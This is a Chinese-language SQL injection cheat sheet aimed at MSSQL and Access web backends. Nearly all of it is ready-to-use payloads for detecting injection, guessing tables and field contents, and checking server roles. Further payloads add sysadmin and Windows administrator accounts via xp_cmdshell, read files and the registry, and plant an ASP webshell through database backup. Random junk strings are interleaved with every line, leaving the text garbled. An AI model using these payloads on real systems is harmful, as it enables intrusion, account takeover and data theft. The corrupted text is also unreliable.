1.判断是否有注入;and 1=1 ;and 1=2 DHRlWQox
2.初步判断是否是mssql ;and user>0 @O~pV`_tD
nJ;.Td
3.注入参数是字符'and [查询条件] and ''=' m4Zk\,1m.|
-nwypu
4.搜索时没过滤参数的'and [查询条件] and '%25'=' F"mmLao
lEBLZ}}\
5.判断数据库系统 |uJ%5y#
!()Qm,1u
;and (select count(*) from sysobjects)>0 mssql ;9#KeA _
J .<F"r>
;and (select count(*) from msysobjects)>0 access |V(0GB
yt2PU_),
6L~n.5B~o
E?@m?@*/
6.猜数据库 ;and (select Count(*) from [数据库名])>0 CvdN"k
: rVnc =k
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 cz$2R
/mZE/>&~,
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Zwx%7l;C
!5N.B|Nt
9.(1)猜字段的ascii值(access) St^5Byd<
xyxy`qR A
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 y
B$x>Q'C(
7|H$ /]
(2)猜字段的ascii值(mssql) {.]7!ISl5
!n%j)`0M
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 nr3==21Om4
z@j8lv2j1
10.测试权限结构(mssql) H,NF;QPPC
rT>wg1:
Alq(QDs
@}ZVtrz
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- L RF103nw
*NQ/UXE
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- OZ&o:/*HM
GN>@ZdVG}#
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- H"F29Pu2
mp3s-YfRc
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- |l!aB(NW
e#q}F>/L
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- P2nu;I_&
Yr|4Fl~U
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- {c0`Um3&>
o !7va"
;and 1=(select IS_MEMBER('db_owner'));-- <oeIcN7d
v-Sd*( 6
6w7 7YTJ
@j/&m]6%-D
11.添加mssql和系统的帐户 DaVa}
T^q
0'#/
;exec master.dbo.sp_addlogin username;-- wKHBAW[i]
;exec master.dbo.sp_password null,username,password;-- fXB0j;A
Z6m)tZVM
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- BJ0?kX@
y+q5UC|
;exec master.dbo.xp_cmdshell 'net user username password #LCb
LgYq.>Nl9
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- [00m/fT6
,+ ~W4<f
;exec master.dbo.xp_cmdshell 'net user username password /add';-- I}Q2Vu<
J=yTbSN\v
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3uMy]HUQ
DTs;{c
}~q5w{_n
']oQ]Yx0
12.(1)遍历目录 w*Ihk)
{>;R?TG]$
;create table dirs(paths varchar(100), id int) L0]_X#s>#
eQ}4;^;M-
;insert dirs exec master.dbo.xp_dirtree 'c:\' <-0]i_4sK
azU"G(6y?+
;and (select top 1 paths from dirs)>0 WPDyu.QD
O
H7FkR
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) .p$(ZH =~
K+iP6B
y> (w\K9W
8>%hz$no=
(2)遍历目录 (iGTACoF
~{gqsuCCL
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- zMJT:7*`|
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 B1Oq!k
|'2d_vR
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 BORA(,
LHmZxi?
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .8|X
C.QO#b
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~;] d"'
mcok/,/
"ITIhnE
lRdChoL$2
13.mssql中的存储过程 Ct|A:/z(
_aMF?Pj~m
xp_regenumvalues 注册表根键, 子键 GJUL$9
FgI3
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 l+0P
?hM64jI|
xp_regread 根键,子键,键值名 (I}v[W
s(8W_4&'
;exec xp_regread Qei"'~1a
{ "E\Jcjl\
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 RGX=)
"*H`HRi4T
xp_regwrite 根键,子键, 值名, 值类型, 值 h7 I{
4
E!AE4B1bd
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 c:g'.'/*
8i,K~Bu=
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 kNL\m[W8$
0?M:6zf_iv
xp_regdeletevalue 根键,子键,值名 [8*)8jP3
]cruF#`%
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 3BLq CZ
G#1GXFDO{
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ]s748+
]9,;K;1<
FGQzoS
v9UD%@tZ
14.mssql的backup创建webshell #o2[hibq
Q5_o/wk
use model o`RKXfCq
o?
$.fhD
create table cmd(str image); fxIf|9Qi`
{zFMmPid
insert into cmd(str) values (''); [fIg{Q
7[wieYj{
backup database model to disk='c:\l.asp'; 3[f):
u3"
,v&(Y Od
8JD,u
<Ok3FE.K
15.mssql内置函数 o8vug$=Z
IqGdfL6[(
;and (select @@version)>0 获得Windows的版本号 A +)`ZTuO
2Wb]4-
;and user_name()='dbo' 判断当前系统的连接用户是不是sa F}qc0
a@*\o+Su
;and (select user_name())>0 爆当前系统的连接用户 K_-MYs.
j8`BdKg
;and (select db_name())>0 得到当前连接的数据库
YrKWA
+2j AC r
$tS}LN_!
9&ids!W~yx
16.简洁的webshell !?gKqx'T$
k#rBB
use model `~`k_7t.
IaXeRq?<
create table cmd(str image); 6JQ'Ik;$wX
O7IJ%_A&
insert into cmd(str) values (''); 8&aq/4:q0
k@:%:Sj 2
backup database model to disk='g:\wwwtest\l.asp';